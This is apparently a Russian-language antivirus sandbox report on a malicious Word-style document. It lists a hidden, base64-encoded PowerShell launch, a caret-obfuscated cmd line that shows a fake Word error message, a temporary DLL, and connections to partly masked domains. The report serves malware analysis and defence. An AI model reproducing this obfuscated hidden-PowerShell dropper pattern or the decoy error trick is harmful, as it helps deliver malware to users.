Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD JAA3AEMAUgBxAHgAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADMAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQAiACAALQBGACAAJwBJAHIAZQBDAFQAbwAnACwAJwB5AHMAdABFAE0ALgAnACwAJwBpAE8ALgBEACcA...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\x2_z93q\k2e2aqx\v0_m.dll
Удаляет следующие файлы
- %HOMEPATH%\x2_z93q\k2e2aqx\v0_m.dll
Сетевая активность
Подключается к
- 'mi###lgroup.com':443
- 'ma##.###osindigochile.cl':80
- 'wa####swebshop.com':443
TCP
- 'un####unihealth.com':443
- 'mi###lgroup.com':443
- 'wa####swebshop.com':443
UDP
- DNS ASK as######iaexistencial.com
- DNS ASK di####taratuba.com
- DNS ASK un####unihealth.com
- DNS ASK mi###lgroup.com
- DNS ASK wp.###soukyou.org
- DNS ASK ma##.###osindigochile.cl
- DNS ASK wa####swebshop.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA3AEMAUgBxAHgAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADMAfQB7ADEAf...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
